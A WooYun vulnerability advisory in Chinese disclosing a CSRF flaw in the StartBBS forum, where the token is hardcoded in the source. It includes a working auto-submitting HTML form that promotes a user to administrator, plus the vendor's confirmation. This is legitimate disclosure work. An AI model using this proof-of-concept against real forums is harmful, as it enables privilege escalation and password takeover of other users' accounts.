当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-047341

漏洞标题:startbbs开源论坛csrf可导致后台添加管理员+修改任意用户密码

相关厂商:startbbs.com

漏洞作者: 梧桐雨

提交时间:2013-12-30 10:52

修复时间:2014-03-30 10:53

公开时间:2014-03-30 10:53

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-30: 细节已通知厂商并且等待厂商处理中
2014-01-03: 厂商已经确认,细节仅向厂商公开
2014-01-06: 细节向第三方安全合作伙伴开放
2014-02-27: 细节向核心白帽子及相关领域专家公开
2014-03-09: 细节向普通白帽子公开
2014-03-19: 细节向实习白帽子公开
2014-03-30: 细节向公众公开

简要描述:

startbbs某处设计不当导致可csrf添加管理员

详细说明:

经过对startbbs源代码白盒分析,发现了关键部分(添加管理员+修改任意用户密码)的token设计存在缺陷。
为了防止是token随机生成,我还特地去官网再下了几次源码回来。得到的结果都一样;
token值如下:

1.jpg


token值遍布以下文件当中:

2.jpg


最新下载的源码包:

3.jpg


token值对比,依然是一样的:

4.jpg


估计是开发人员偷懒了吧。
既然知道是这么样的结果,对源码分析就不难构造添加管理员的代码了:
访问poc之前,我的用户组是(2)普通会员

5.jpg


访问poc之后:

6.jpg


用户已经从普通会员转换成管理员了;

7.jpg


poc:

<form accept-charset="UTF-8" action="http://localhost:81/startbbs/index.php/admin/users/edit/4" class="form-horizontal" id="edit_user_1" name="wutongyu" method="post" novalidate="novalidate">
<input name="utf8" type="hidden" value="✓">
<input name="_method" type="hidden" value="put">
<input name="authenticity_token" type="hidden" value="iM/k39XK4U+GmgVT7Ps8Ko3OhPrcTBqUSu4yKYPgAjk=">
<label class="col-sm-3 control-label" for="user_nickname">用户名</label>
<input class="form-control" id="user_nickname" name="username" size="50" type="text" value="wutongyu">
<label class="col-sm-3 control-label" for="user_email">电子邮件</label>
<input class="form-control" id="user_email" name="email" size="50" type="email" value="wutongyu@qq.com">
<label class="col-sm-3 control-label" for="user_password">新密码</label>
<input class="form-control" id="user_password" name="password" size="50" type="password">
<label class="col-sm-3 control-label" for="user_password_confirmation">确认新密码</label>
<input class="form-control" id="user_password_confirmation" name="user[password_confirmation]" size="50" type="password">
<label class="col-sm-3 control-label" for="user_account_attributes_personal_website">个人网站</label>
<input class="form-control" id="user_account_attributes_personal_website" name="homepage" size="50" type="text" value="">
<label class="col-sm-3 control-label" for="user_account_attributes_location">所在地</label>
<input class="form-control" id="user_account_attributes_location" name="location" size="50" type="text" value="">
<label class="col-sm-3 control-label" for="user_account_attributes_weibo_link">QQ</label>
<input class="form-control" id="user_account_attributes_weibo_link" name="qq" size="50" type="text" value="">
<label class="col-sm-3 control-label" for="user_account_attributes_signature">签名</label>
<input class="form-control" id="user_account_attributes_signature" name="signature" size="50" type="text" value="">
<label class="col-sm-3 control-label" for="user_account_attributes_introduction">个人简介</label>
<textarea class="form-control" cols="40" id="user_account_attributes_introduction" name="introduction" rows="5"></textarea>
<input id="user_account_attributes_id" name="uid" type="hidden" value="4">
<label class="col-sm-3 control-label" for="user_reward">银币</label>
<input class="form-control" id="user_reward" name="money" step="1" type="number" value="100">
<label class="col-sm-3 control-label" for="user_group">用户组</label>
<select name="gid" id="gid" class="form-control">
<option selected="selected" value="1">管理员(已选)</option>
<option value="1">管理员</option>
<option value="2">版主</option>
<option value="3">普通会员</option>
</select>
</form>
<script>document.wutongyu.submit();</script>


值得一提的是form表单提交地址和用户id一定得提前获取,所幸的是这两点我们都可以轻易获得。
form表单提交地址:index.php/admin/users/edit/4 4就是你的用户id了。
用户id可以访问前台的个人主页得到:

8.jpg

漏洞证明:

都在详细说明里头了。。
修改任意用户密码只需要稍微修改下表单就可以了。这里就不演示了。

修复方案:

token一定不要放在源代码里。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-01-03 21:59

厂商回复:

谢谢,尽快加上taken或来源提交判断

最新状态:

暂无